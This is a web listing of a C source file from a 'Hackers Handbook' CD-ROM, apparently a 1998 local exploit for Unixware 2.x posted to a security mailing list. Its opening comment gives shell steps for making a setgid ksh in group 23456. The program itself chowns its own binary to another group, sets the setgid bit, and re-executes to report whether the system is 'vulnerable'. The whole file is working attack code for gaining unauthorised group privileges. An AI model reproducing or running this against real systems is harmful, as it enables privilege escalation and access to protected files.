home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / unixware.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  3.1 KB  |  88 lines

  1. /*  Post to BoS - try this with an account on a Unixware 2.x box. */
  2. /*  And here's another Unixware exploit. Should get you grp       */
  3. /*  23456 which will get you /usr/bin etc., etc.,                 */
  4. /*    % cp /usr/bin/ksh .                                         */
  5. /*    % chmod 2700 ./ksh                                          */
  6. /*    % chgrp 23456 ./ksh                                         */
  7. /*    % ./ksh                                                     */
  8. /*    > id                                                        */
  9. /*                                                                */
  10.  
  11. #include <sys/types.h>
  12. #include <sys/stat.h>
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <time.h>
  16. #include <unistd.h>
  17.  
  18. #define KEYMATCH "\x1D\xFC\x3A\x2FMZ"
  19. #define TESTGRP 17186
  20.  
  21. int main(int argc, char **argv) {
  22.         struct stat st, *s = &st;
  23.         pid_t p;
  24.  
  25.         if (argc == 2 && !strcmp(argv[1], KEYMATCH)) {
  26.                 if (getegid() == TESTGRP) {
  27.                         unsigned long r;
  28.  
  29.                         srandom(time(NULL));
  30.                         r = (unsigned long)random();
  31.                         r = (r & 0xFFFF00FF) | ((r & 0xFF000000 >> 16) ^
  32.                                 (r & 0x00FF0000 >> 8) ^
  33.                                 (r & 0x000000FF << 8));
  34.                         fprintf(stderr, "%s: system vulnerable code 0x%lX\n",
  35.                                 argv[0], r);
  36.                 } else {
  37.                         fprintf(stderr, "%s: system not vulnerable\n",
  38.                                 argv[0]);
  39.                 }
  40.                 return 0;
  41.         }
  42.         if (argc > 1) {
  43.                 fprintf(stderr, "%s: don't supply any arguments\n", argv[0]);
  44.                 return 0;
  45.         }
  46.         if (!strchr(argv[0], '/')) {
  47.                 fprintf(stderr, "%s: user error: run me with a pathname, not in
  48. $PATH\n",
  49.                         argv[0]);
  50.                 return 0;
  51.         }
  52.         if (stat(argv[0], s)) {
  53.                 fprintf(stderr, "%s: system error: cannot stat my binary?\n",
  54. argv[0]);
  55.                 return 0;
  56.         }
  57.         if (s->st_uid != geteuid() && s->st_uid != getuid()) {
  58.                 fprintf(stderr, "%s: user error: does this uid own my
  59. binary?\n",
  60.                         argv[0]);
  61.                 return 0;
  62.         }
  63.         chown(argv[0], -1, TESTGRP);
  64.         if (chmod(argv[0], 02700)) {
  65.                 chown(argv[0], -1, s->st_gid);
  66.                 chmod(argv[0], s->st_mode);
  67.                 fprintf(stderr, "%s: user error: cannot chmod my own binary?\n",
  68.                         argv[0]);
  69.                 return 0;
  70.         }
  71.         if ((p = vfork()) == -1) {
  72.                 fprintf(stderr, "%s: system error: cannot fork\n",
  73.                         argv[0]);
  74.                 return 0;
  75.         }
  76.         if (!p) {
  77.                 execl(argv[0], argv[0], KEYMATCH, NULL);
  78.                 fprintf(stderr, "%s: system error: cannot exec\n",
  79.                         argv[0]);
  80.                 _exit(0);
  81.         }
  82.         chown(argv[0], -1, s->st_gid);
  83.         chmod(argv[0], s->st_mode);
  84.         return 0;
  85. }
  86.  
  87.  
  88.